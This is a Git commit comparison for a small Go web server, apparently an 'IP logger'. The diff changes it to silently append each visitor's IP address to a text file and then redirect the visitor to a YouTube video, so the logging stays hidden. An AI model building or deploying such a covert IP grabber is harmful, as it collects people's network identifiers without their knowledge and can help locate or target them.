Compare commits
2 Commits
Author | SHA1 | Date | |
---|---|---|---|
|
d5ce87d43c | ||
|
19a63f7715 |
@ -0,0 +1 @@
|
|||||||
|
IP logger made in GO
|
16
server.go
16
server.go
@ -1,14 +1,15 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"os"
|
||||||
)
|
)
|
||||||
|
|
||||||
func handler(w http.ResponseWriter, r *http.Request) {
|
func handler(w http.ResponseWriter, r *http.Request) {
|
||||||
ip := GetRealIP(r)
|
ip := GetRealIP(r)
|
||||||
fmt.Fprintf(w, ip)
|
WritetoFile(ip + "\n")
|
||||||
|
http.Redirect(w, r, "https://www.youtube.com/watch?v=ZVQDHFgfssM", 301)
|
||||||
}
|
}
|
||||||
|
|
||||||
func GetRealIP(r *http.Request) string {
|
func GetRealIP(r *http.Request) string {
|
||||||
@ -24,6 +25,17 @@ func GetRealIP(r *http.Request) string {
|
|||||||
}
|
}
|
||||||
return IP
|
return IP
|
||||||
}
|
}
|
||||||
|
func WritetoFile(IP string) {
|
||||||
|
f, err := os.OpenFile("ListofIPs.txt",
|
||||||
|
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||||||
|
if err != nil {
|
||||||
|
log.Println(err)
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
if _, err := f.WriteString(IP + "\n"); err != nil {
|
||||||
|
log.Println(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
func main() {
|
func main() {
|
||||||
http.HandleFunc("/", handler)
|
http.HandleFunc("/", handler)
|
||||||
log.Fatal(http.ListenAndServe(":8081", nil))
|
log.Fatal(http.ListenAndServe(":8081", nil))
|
||||||
|
Loading…
Reference in New Issue
Block a user